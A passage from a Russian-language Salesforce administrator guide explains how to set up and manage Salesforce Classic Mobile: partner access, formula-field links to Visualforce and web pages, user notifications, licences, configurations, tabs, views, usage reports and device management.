организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Приложение Salesforce Classic Mobileпозволяетпользователям-партнерампросматривать
данные партнерского портала на мобильных устройствах.

Ниже перечислены рекомендации по настройке доступа Salesforce Classic Mobile для
пользователей-партнеров.

• Прежде чем настроить приложение Salesforce Classic Mobile для
пользователей-партнеров, рекомендуем настроить организации
пользователей-партнеров и приобрести мобильные лицензии для каждого
пользователя партнерского портала, которому должно быть доступно приложение
Salesforce Classic Mobile. Прежде чем разрешить пользователям-партнерам доступ к
приложению Salesforce Classic Mobile, профили пользователей-партнеров должны
быть назначены как минимум одному активному партнерскому порталу. Если
профильпользователяназначеннесколькимпартнерскимпорталам, топриложение
Salesforce Classic Mobile предоставляет доступ только к первому назначенному
партнерскому порталу.

• Настраиваемые мобильные списковые представления не влияют на списковые
представления партнерского портала.

• Если приложение Salesforce Classic Mobile поддерживает доступ к наборам данных
«Пользователь», то партнеры могут назначать объекты пользователям
организации-партнера и всем внутренним пользователям. В противном случае,
партнеры могут назначать объекты только внутренним пользователям или
пользователям организации-партнера, которые связаны с записями, доступными на
мобильных устройствах.

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile
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Создание ссылок на веб-страницы и страницы Visualforce Mobile для приложения Salesforce Classic
Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых кнопок или
ссылок:
• «Настройка

приложения»

Чтобыулучшить взаимодействиемеждуприложением Salesforce Classic Mobile, Visualforce
Mobile и внешними веб-узлами, рекомендуем создать ссылки на страницы Visualforce
Mobile или внешние веб-узлы в собственных записях Salesforce. Прежде чем создавать
ссылки, рекомендуем создать текстовые поля формулы для стандартного или
настраиваемого объекта. Приложение Salesforce Classic Mobile отображает только поля,
доступныевмакетестраницы. Рекомендуемдобавлятьвсевложенныессылкивотдельный
раздел «Мобильныессылки» внизумакета страницы. ВнастоящеевремясистемаSalesforce
не позволяет скрывать данные ссылки, но при необходимости пользователи могут
сворачивать соответствующий раздел.

1. Откройте область полей соответствующего объекта.

2. Нажмите кнопку «Создать» в разделе полей.

3. Выберите параметр «Формула» и нажмите кнопку «Далее».

4. Введите метку поля.

Имя поля заполняется автоматически на основе введенной метки поля.

5. Выберите параметр «Текст» и нажмите кнопку «Далее».

6. Чтобы создать ссылку на настраиваемуюстраницу Visualforceили внешний веб-сайт,
воспользуйтесь редакторомформул.

• Чтобы создать ссылку Visualforce, введите строку
"visualforce:///apex/PageName" и замените компонент PageName
именем страницы Visualforce. Чтобы передать данные из записи клиентского
приложения на страницу Visualforce, дополните строку параметрами (например,
?contactid=" & Id").

• Чтобы создать веб-ссылку, введите строку "weblink:" и нужный URL-адрес
(например, "weblink:http://www.salesforce.com"). Чтобы передать
данные из записи клиентского приложения на веб-страницу, дополните строку
параметрами. Например, веб-ссылка ниже открывает социальную сеть из записи контакта и выполняет поиск для
контакта.

"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName&
"&filter=name&commit=Search"

Прим.: Клиентское приложение передает ссылку Visualforce или веб-ссылку со всеми параметрами во
встроенный обозреватель. Анализ параметров выполняется веб-сайтом или страницей Visualforce Mobile.
Убедитесь, что структура страницы Visualforce Mobile позволяет принимать любые параметры, переданные
в ссылке.

7. Нажмите кнопку «Далее».

8. Чтобы определить уровень доступности поля для конкретных профилей, настройте параметры безопасности поля
и нажмите кнопку «Далее».

9. Выберитемакетыстраниц, которыедолжныотображатьданноеполе. Чтобыизменитьрасположениеполянастранице,
настройте макет.

10. Сохраните внесенные изменения.
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11. Измените макет страницы объекта. С помощью параметров управления для объекта, макет страницы которого
собираетесь изменить, перейдите к пункту «Макеты страниц».

12. Перетащите элемент «Раздел» из палитры в макет страницы и разместите его под текущими разделами.

13. В поле «Имя раздела» введите «Мобильные ссылки».

14. Снимите флажок «Страница редактирования».

15. Выберите одностолбцовый макет и нажмите кнопку «OK».

16. Перетащите новое текстовое поле формулы из текущей области в новый раздел «Мобильные ссылки».

17. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile

Поиск по параметрам управления объектами
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Уведомление пользователей о доступности Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
HTML-шаблонов эл. почты:
• «Редактирование

HTML-шаблонов»

Для пакетной отправки эл.
почты пользователям:
• «Пакетная электронная

рассылка»

И

«Управление
пользователями»

Чтобы выполнить развертывание приложения Salesforce Classic Mobile, отправьте
пользователямпоэлектроннойпочте уведомлениеодоступностиданногоприложения
и сообщите инструкции по установке. Сообщение эл. почты может быть отправлено
посредствомкорпоративногопочтовогоприложения (например, Outlook) илипакетной
электроннойрассылкиSalesforce. Влюбомслучаесообщениеэл. почтыдолжносодержать
URL-адрес, инициирующий загрузку.

• URL-адрес загрузки для пользователей Android и BlackBerry:
mobile.salesforce.com. Данная ссылка может использоваться как для
первоначальной загрузки, так и для последующих обновлений.

• URL-адрес загрузкидляпользователей iPhone можетбытьполученпосредством iTunes.
Откройте программу iTunes, выберите «Магазин» и найдите приложение Salesforce
Classic Mobile. Чтобы просмотреть сведения о приложении, щелкните значок
приложения. Верхняя часть окна iTunes отображает путь к приложению в
интернет-магазине Apple App Store: App Store > Business > Salesforce Classic Mobile.
Чтобы просмотреть URL-адрес загрузки приложения, перетащите данный путь в
текстовый редактор.

ЧтобывыполнитьпакетнуюэлектроннуюрассылкупользователямSalesforce Classic Mobile
посредством системы Salesforce, выполните указанные ниже действия.

1. Создайте шаблон эл. почты, который сообщает пользователям о доступности
Salesforce Classic Mobile. На странице личных параметров введите строку «Шаблоны»
вполе «Быстрый поиск» ивыберите «Моишаблоны»или «Шаблоныэл. почты»
в зависимостиот того, какой заголовок будет выведен. Принеобходимости создайте
отдельныйшаблон эл. почты, уведомляющий о наличии обновлений. Добавьте
ссылку загрузки в шаблоны.

2. Создайтенастраиваемоепредставление, содержащее толькопользователей Salesforce
Classic Mobile, на странице «Пакетная электронная рассылка».

Прим.: Флажок «Пользователь Mobile», установленный в записи
пользователя, назначает мобильную лицензию, предоставляющую
пользователю доступ к полной версии приложения Salesforce Classic Mobile.
Другим пользователям Salesforce без назначенной мобильной лицензии
предоставляетсядоступкбесплатнойверсииприложенияSalesforce Classic Mobile,
поэтому всепользователи Salesforce Classic Mobileнемогут бытьотфильтрованы
по лицензии. Чтобы создать представление для пользователей бесплатной
версии, в качестве альтернативы выполните фильтрацию по ролям или
профилям.

3. Выполните пакетную электронную рассылку пользователям Salesforce Classic Mobile посредством созданного
настраиваемого представления. В меню «Настройка» введите «Пользователи пакетных электронных рассылок» в поле
«Быстрый поиск», затем выберите «Пользователи пакетных электронных рассылок».

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile
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Salesforce Classic Mobile. Вопросы и ответы для администраторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

• Является ли мобильное приложение Salesforce Classic Mobile защищенным?

• У моих пользователей Salesforce Classic Mobile устройства Android, BlackBerry и iPhone.
Можно ли использовать разные типы устройств в одной организации?

• Естьлипростойспособразвернуть Salesforce Classic Mobile всеммоимпользователям
BlackBerry?

Является ли мобильное приложение Salesforce Classic Mobile защищенным?

Все данные, передаваемые между Salesforce и Salesforce Classic Mobile, полностью
зашифрованы и защищены при передаче по радиоканалу.

Мобильное приложение предоставляет многоуровневую безопасность на уровне
устройства. Производители устройств позволяют пользователям ограничивать доступ
посредством пароля или секретного кода. Пользователи должны применять защиту
устройства совместно с политикой безопасности организации. Блокировка устройства
паролем препятствует несанкционированному доступу к конфиденциальным данным.

Кроме того, мобильное приложение может быть активировано на устройстве только
при наличии действительных регистрационных данных Salesforce. При регистрации
нового беспроводного устройства система автоматически удаляет данные Salesforce на
предыдущем беспроводном устройстве; одновременно пользователи могут активировать только одно мобильное
устройство. Кроме того, при использовании учетной записи Salesforce для активации нового устройства пользователям
отправляется соответствующее предупреждение. Если вошедший пользователь превышает настраиваемый
администратором период бездействия на мобильном устройстве, то мобильный сеанс завершается, но может быть
возобновлен путем ввода пароля или секретного кода.

Кроме того, администраторы могут удаленно удалять данные на любом потерянном или украденном устройстве.

У моих пользователей Salesforce Classic Mobile устройства Android, BlackBerry и iPhone. Можно ли
использовать разные типы устройств в одной организации?

Да, одна организация может использовать разные типы устройств. Однако пользователю приложения Salesforce Classic
Mobile доступно только одно активное устройство.

Есть ли простой способ развернуть Salesforce Classic Mobile всем моим пользователям BlackBerry?

Если организация управляет смартфонами BlackBerry посредством сервера BlackBerry Enterprise Server, рекомендуем
использовать технологию Application Push. Application Push — это технология доставки, включенная администраторомна
сервере BlackBerry Enterprise Server, которая поддерживает удаленную установку приложенийна смартфоны BlackBerry. Эта
технология не разрабатывается и не поддерживается Salesforce, но администраторы BlackBerry Enterprise Server могут
использовать ее для установки Salesforce Classic Mobile на мобильные устройства BlackBerry своих пользователей.

Дополнительную информацию о технологии Application Push см. в разделах «Making additional BlackBerry device software
and applications available to users» и «Creating software configurations» официального документа BlackBerry Enterprise Server
Administrator Guide от компании Research in Motion. При возникновении технических проблем, связанных с технологией
Application Push, обратитесь в службу поддержки Research in Motion.
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Управление конфигурациями Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Для управления конфигурациями Salesforce Classic Mobile откройте настройки, введите
строку «Конфигурации Salesforce Classic» в поле «Быстрый поиск», затем
выберите пункт «Конфигурации Salesforce Classic».

• Чтобы создать мобильную конфигурацию, нажмите кнопку «Создать мобильную
конфигурацию».

• Чтобы изменить мобильную конфигурацию (например, назначить других
пользователей или профили и изменить максимальный размер наборов данных),
щелкните ссылку «Правка».

• Чтобы активировать мобильную конфигурацию, щелкните ссылку «Правка»,
установите флажок «Активно» и нажмите кнопку «Сохранить». Чтобы
деактивировать мобильную конфигурацию, снимите флажок «Активно».

• Чтобы удалить мобильную конфигурацию, щелкните ссылку «Удал.».

• Чтобы просмотреть сведения о мобильной конфигурации, щелкните имя нужной
конфигурации.

Ниже перечислены действия, доступные на странице сведений о мобильной
конфигурации.

– Чтобыизменитьнаборыданныхдлямобильнойконфигурации, нажмите кнопку
«Правка» в связанном списке «Наборы данных».

– Чтобы изменить свойства мобильных объектов, щелкните ссылку «Правка»
напротив имени нужного объекта в связанном списке «Свойства мобильного
объекта».

– Чтобынастроитьвкладкимобильнойконфигурации, нажмитекнопку «Правка»
в связанном списке «Мобильные вкладки».

– Чтобы создать настраиваемые представления для мобильной конфигурации,
нажмите кнопку «Правка» в связанном списке «Мобильные представления».

– Чтобыклонироватьмобильнуюконфигурацию, нажмитекнопку«Клонировать».

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов
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Управление полномочиями Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления конфигураций
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Мобильнаялицензиядолжнабытьпредоставленакаждомупользователюполнойверсии
приложения Salesforce Classic Mobile. Мобильная лицензия предоставляется путем
установкифлажка «Пользователь Mobile» в записипользователя. Прииспользовании
версии Unlimited Edition, Performance Edition или Developer Edition компания Salesforce
предоставляет одну мобильную лицензию для каждой лицензии Salesforce, а флажок
«Пользователь Mobile» устанавливается по умолчанию. При использовании версии
Professional Edition или Enterprise Edition мобильные лицензии приобретаются за
дополнительную плату и назначаются пользователям вручную.

Прим.: Поумолчаниюфлажок «Пользователь Mobile» неустановлендляновых
пользователей Performance Edition.

Чтобы запретить активацию полной версии приложения Salesforce Classic Mobile на
мобильных устройствах пользователей до его развертывания, снимите флажок
«Пользователь Mobile» для всех пользователей.

Любой пользователь Salesforce без мобильной лицензии может загрузить бесплатную
неполную версию приложения Salesforce Classic Mobile. Начиная с выпуска Summer'13
бесплатнаяверсияприложенияSalesforce Classic Mobileдоступнавсемновыморганизациям
по умолчанию. Принеобходимостивключитеданноеприложениедляпредоставления
пользователям доступа к системе Salesforce на мобильных устройствах.

Чтобы включить бесплатную версию приложения Salesforce Classic Mobile, выполните
указанные ниже действия.

1. Введите строку «Настройки Salesforce Classic» в поле «Быстрый поиск»
меню «Настройки», затем выберите пункт «Настройки Salesforce Classic».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить Mobile Lite».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов
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Управление вкладками в Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для управления вкладками
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Для управления вкладками конфигурации Salesforce Classic Mobile откройте настройки,
введите строку «Конфигурации Salesforce Classic» в поле «Быстрый поиск»,
затемвыберитепункт«Конфигурации Salesforce Classic». Затемщелкнитеимянужной
мобильной конфигурации и прокрутите страницу до связанного списка «Мобильные
вкладки».

Есливкладкиконфигурацииуженастроены, то связанныйсписок «Мобильныевкладки»
отображает выбранные вкладки.

• Чтобы изменить настройки вкладок, нажмите кнопку «Правка».

• Чтобы удалить настройкимобильных вкладок и восстановить стандартные вкладки,
нажмите кнопку «Возврат к стандартным значениям».

Если вкладки конфигурации еще не настроены, то связанный список отображает
стандартные вкладки конфигурации. Чтобы настроить вкладки конфигурации и
определить порядок их отображения, нажмите кнопку «Настроить вкладки».

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile
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Управление представлениями в Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра устройств и
пользователей Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для управления
настраиваемыми
представлениями Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

ДляуправлениянастраиваемымипредставлениямиконфигурацииSalesforce Classic Mobile
откройте настройки, введите строку «Конфигурации Salesforce Classic» в поле
«Быстрый поиск», затем выберите пункт «Конфигурации Salesforce Classic». Затем
щелкнитеимянужноймобильнойконфигурацииипрокрутите страницудо связанного
списка «Мобильные представления».

• Чтобы просмотреть список всех настраиваемых представлений, выберите значение
«Все объекты» в раскрывающемся списке «Выбрать объект». Кроме того, данный
раскрывающийся список позволяет фильтровать представления по типу объекта.

• Чтобы создать мобильное представление, выберите тип объекта в раскрывающемся
списке «Выбрать объект» инажмите кнопку «Создатьмобильноепредставление».

• Чтобы изменить настраиваемое мобильное представление, щелкните ссылку
«Правка» напротив имени нужного представления.

• Чтобы удалить настраиваемое мобильное представление, щелкните ссылку «Удал.»
напротив имени нужного представления.

• Чтобыпросмотретьсведенияонастраиваемоммобильномпредставлении, щелкните
имя нужного представления.

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile

Управление устройствами в Salesforce Classic Mobile
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Данные об использовании Salesforce Classic Mobile в типах настраиваемых отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Пользовательможет создать типынастраиваемыхотчетовподаннымобиспользовании
приложения Salesforce Classic Mobile. Например, с помощью отчетов можно узнать, как
часто используется приложение Salesforce Classic Mobile, какие мобильные устройства
используются для доступа и т. д.

Чтобы создать тип настраиваемого отчета по данным об использовании приложения
Salesforce Classic Mobile, выберитепараметрмобильногосеанса «Основной объект» при
определении типа настраиваемого отчета. При выборе полей для типа настраиваемого
отчета выберите нужные из указанных ниже полей Salesforce Classic Mobile.

ОпределениеТочка данных об использовании
мобильного приложения

Оператор беспроводной связиТоварный знак

Общий размер записей на устройствеРазмер данных (в байтах)

Уникальныйфизическийадресустройства
(PIN для BlackBerry или UDID для iOS)

Адрес устройства

Установленная версия Salesforce Classic
Mobile.

Версия приложения устройства

Модель устройстваМодель устройства

Версия операционной системы,
установленной на устройство

Версияоперационнойсистемыустройства

Продолжительностьмобильного сеанса в
секундах

Продолжительность

Дата последней регистрации или
активации

Дата последней регистрации

Дата последнего обмена информацией с
устройством

Дата последнего статуса

Производитель устройстваПроизводитель

Размер метаданных (макетов страниц,
значенийраскрывающихся спискови т. д.)
на устройстве

Размер метаданных (в байтах)

Имя пользователя устройстваОтветственный: полное имя

Дата начала мобильного сеансаДата начала сеанса

Индикатор превышения максимально
допустимого размера набора данных,

Статус

установленного для мобильной
конфигурации
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Прим.:

• Мобильные сеансы аналогичны веб-сеансам в отчетах по журналам входов; тем не менее, мобильные сеансы
используютфиксированноезначениевремениистечениясеанса, равное 20 минутам. Еслипользовательвыполняет
входили запускаетприложение Salesforce Classic Mobileпосле 20 минутбездействия, то система Salesforceначинает
новый мобильный сеанс.

• Отчеты по мобильным сеансам содержат только данные об использовании для приложения Salesforce Classic
Mobile и не содержат данных для других мобильных приложений Salesforce (например, Salesforce1).

• Некоторыеустройстваподдерживаютневсефизическиеатрибуты. Например, устройства Apple неподдерживают
товарный знак.

Управление устройствами в Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра устройств и
пользователей Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для управления
устройствами Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

После установки приложения Salesforce Classic Mobile на мобильное устройство и
первоначального входа система Salesforce собирает данные об устройстве и связывает
устройствос записьюпользователя. Сведенияобустройстведоступнытолькодлячтения.

Несмотря на то что запись об устройстве создается автоматически, за администратором
сохраняется возможность просматривать и управлять всеми пользователями и
мобильными устройствами в организации с помощьюнастроек, для этого необходимо
ввести строку «Пользователи и устройства» в поле «Быстрый поиск», затем выбрать
пункт «Пользователи и устройства».

Ниже перечислены действия, доступные на странице «Все пользователи и устройства
мобильной версии».

• Просмотрите список пользователей организации, поддерживающих приложение
Salesforce Classic Mobile.

• Создайте настраиваемые списковые представления для просмотра разных групп
пользователей мобильной версии. Например, чтобы оценить эффективность мер
по развертыванию приложения Salesforce Classic Mobile в организации, создайте
представление для просмотра пользователей, которые никогда не выполняли вход
в систему Salesforce посредством приложения Salesforce Classic Mobile.

• Чтобы просмотреть сведения о мобильном устройстве, щелкните адрес нужного
устройства.

• Чтобы просмотреть сведения о пользователе, щелкните имя нужного пользователя.

• Чтобы просмотреть сведения о мобильной конфигурации, щелкните имя нужной
мобильной конфигурации.

• Выполните перечисленные ниже пакетные действия.

– Настройка времени завершения мобильного сеанса

– Удаление данных Salesforce с мобильного устройства пользователя

– Удаление мобильного устройства из записи пользователя

• Чтобы определить причину отсутствия синхронизации устройства пользователя,
наведите указатель мыши на красный значок ошибки в столбце «Статус».
Дополнительные сведения об ошибках синхронизации отображаются на странице
сведений об устройстве.
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Прим.: Связанный список «Назначенные мобильные устройства» на странице сведений о пользователе также
позволяет управлять пользователями мобильного приложения.

Постоянное связывание пользователей Salesforce Classic Mobile с мобильным устройством
Пользователи мобильного приложения могут быть связаны с мобильными устройствами, использованными для
первоначальной активации приложения Salesforce Classic Mobile.

Просмотр сведений об устройстве Salesforce Classic Mobile

Настройка значений времени завершения сеанса Salesforce Classic Mobile

Удаление данных в приложении Salesforce Classic Mobile

Удаление мобильных устройств

СМ. ТАКЖЕ:

Общие сведения о приложении Salesforce Classic Mobile для администраторов

Управление конфигурациями Salesforce Classic Mobile
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Постоянное связывание пользователей Salesforce Classic Mobile с мобильным устройством

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
Salesforce Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

Пользователимобильногоприложениямогутбытьсвязанысмобильнымиустройствами,
использованными для первоначальной активации приложения Salesforce Classic Mobile.

По умолчанию система Salesforce автоматически связывает запись устройства с
пользователем мобильного приложения, активировавшим устройство последним,
поэтому устройство может быть назначено другому пользователю без обновления
соответствующейзаписи. Данныйалгоритмпозволяетпереназначать устройствамежду
пользователями организации; при необходимости пользователи могут быть связаны с
устройствами, назначенными им изначально. Таким образом, администраторы
организаций могут блокировать доступ пользователей к конфиденциальным данным
посредством личных мобильных устройств.

Чтобы связать пользователя с мобильным устройством, выполните указанные ниже
действия.

1. Введите строку «Настройки Salesforce Classic» в поле «Быстрый поиск»
меню «Настройки», затем выберите пункт «Настройки Salesforce Classic».

2. Нажмите кнопку «Правка».

3. Установитефлажок «Постоянная связь пользователя с мобильным устройством».

4. Нажмите кнопку «Сохранить».

Внимание: Приналичиифлажка «Постоянная связь пользователя с мобильным
устройством» устройствоможетбытьизмененотолькоспомощьюадминистратора.
Чтобы разрешить пользователю регистрацию другого устройства, рекомендуем
вручнуюудалить текущее устройствоиз записипользователя. Впротивномслучае
доступ пользователя к приложению Salesforce Classic Mobile будет заблокирован.
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Просмотр сведений об устройстве Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра устройств и
пользователей Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для управления
устройствами Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

Система Salesforce собирает сведения об устройстве при первоначальном входе
пользователя в приложение Salesforce Classic Mobile. Чтобы просмотреть сведения об
устройстве, воспользуйтесь одним из способов ниже.

• Введите строку «Пользователи и устройства» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Пользователи и устройства». Щелкните по
адресу устройства в списковом представлении.

• Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи». Щелкните ссылку «Правка» напротив имени
нужногопользователяивыберитеадресустройствавсвязанномсписке «Назначенные
мобильные устройства».

Ниже перечислены действия, доступные на странице «Мобильное устройство».

• Просмотр сведений об устройстве

• Настройка времени завершения мобильного сеанса

• Удаление данных Salesforce с устройства пользователя

• Удаление устройства из записи пользователя

Нижеперечисленыполя, используемыедлякаждогомобильногоустройстваорганизации.

ОписаниеПоле

Товарный знак мобильного устройства
(при его наличии).

Товарный знак

Имя оператора, обслуживающего
мобильное устройство (при его наличии).

Оператор

Дата и время подключения устройства к
мобильному серверу. Подключение к
серверуможетбытьпрерваноприразрядке
аккумулятора или завершении сеанса по
причине длительного бездействия.

Время подключения

Состояние подключения устройства.
Данноеполеможет содержать следующие

Статус подключения

значения: «Подключено», «Не
подключено» и «Недоступно».

Имя первого пользователя,
зарегистрировавшего мобильное

Создано

устройство, а также время и дата
регистрации.

Размер данных Salesforce, которые в
настоящее время хранятся на мобильном

Размер данных

устройстве пользователя. Мобильное
устройство периодически отправляет эту
информацию в систему Salesforce.
Полученная информация может
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ОписаниеПоле

использоваться для устранения ошибок синхронизации,
возникших в результате превышения ограничения по
размеру данных.

Уникальный идентификатор мобильного устройства
пользователя.

Адрес устройства

Модель мобильного устройства.Модель устройства

Флажок, определяющийназначениеустройства: симулятор
илимобильноеустройство. Симулятор — этопрограммное

Является симулятором?

приложение, которое имитирует работу мобильного
устройства.

Время последней загрузки полного набора данных на
мобильное устройство. Если размер набора данных

Последняя активация

пользователя превышает ограничение, заданное в
назначенной мобильной конфигурации, то устройство
может быть зарегистрировано, но не может быть
активировано.

Время последнего получения данных с устройства. Данная
информацияможетпотребоватьсядля устраненияошибок
подключения.

Последние полученные данные

Время последней регистрации мобильного устройства.
Процесс регистрации создает запись устройства в системе

Последняя регистрация

Salesforce и связывает ее с зарегистрировавшим
пользователем.

Время последнего уведомления системы Salesforce о
прекращении синхронизации данных по причине

Дата последнего статуса

возникновенияошибки. Поле «Дата последнего статуса»
отображается только при возникновении ошибки.

Производитель мобильного устройства.Производитель

Размер метаданных Salesforce, которые в настоящее время
хранятся на мобильном устройстве пользователя.

Размер метаданных

Метаданные содержат макет страницы и сведения о схеме.
Размер метаданных, передаваемых на устройство,
определяется размером организации и сложностью ее
настроек.

Имя последнего пользователя, зарегистрировавшего
мобильное устройство, а также время и дата регистрации.

Изменено

Количество сообщений, добавленных на мобильном
сервере в очередь для отправки на устройство.

Количество отложенных исходящих сообщений

Типоперационнойсистемы, установленнойнамобильное
устройство: Android, BlackBerry или iPhone.

Операционная система
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ОписаниеПоле

Номер версии операционной системы, установленной на
мобильное устройство.

Версия операционной системы

Номер телефона, связанный с мобильным устройством.Номер телефона

Номер версии и сборки мобильного клиентского
приложения, установленного на устройство.

Версия Salesforce Classic Mobile

Общий размер сообщений, добавленных на устройстве в
очередь для отправки на мобильный сервер. Обычно

Размер отложенных исходящих сообщений (байты)

данное значение равно нулю, так как сервер обрабатывает
сообщения почти мгновенно.

Общий размер очереди исходящих сообщений на
мобильном сервере.

Размер исходящих сообщений (байты)

Данноеполеуказываетнаналичиеошибоксинхронизации
между устройством и системой Salesforce. Поле «Статус»

Статус

отображается толькопривозникновенииошибки. Данное
поле может отображать два статуса ошибки: «Превышено
ограничение размера данных» и «Неизвестная ошибка».

Имя пользователя Salesforce, связанного с мобильным
устройством.

Имя пользователя

Прим.: Если система Salesforce обнаруживает, что выбранное устройство зарегистрировано пользователем другой
организации, то страница сведений об устройстве отображает ошибку. Данная ошибка может быть вызвана
регистрациейустройствавбезопаснойорганизацииипоследующейактивациейвпроизводственнойорганизации.
Чтобы удалить устаревшую запись устройства из организации, рекомендуем удалить устройство.
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Настройка значений времени завершения сеанса Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки значений
времени завершения сеанса
Salesforce Classic Mobile:
• «Управление

мобильными
конфигурациями»

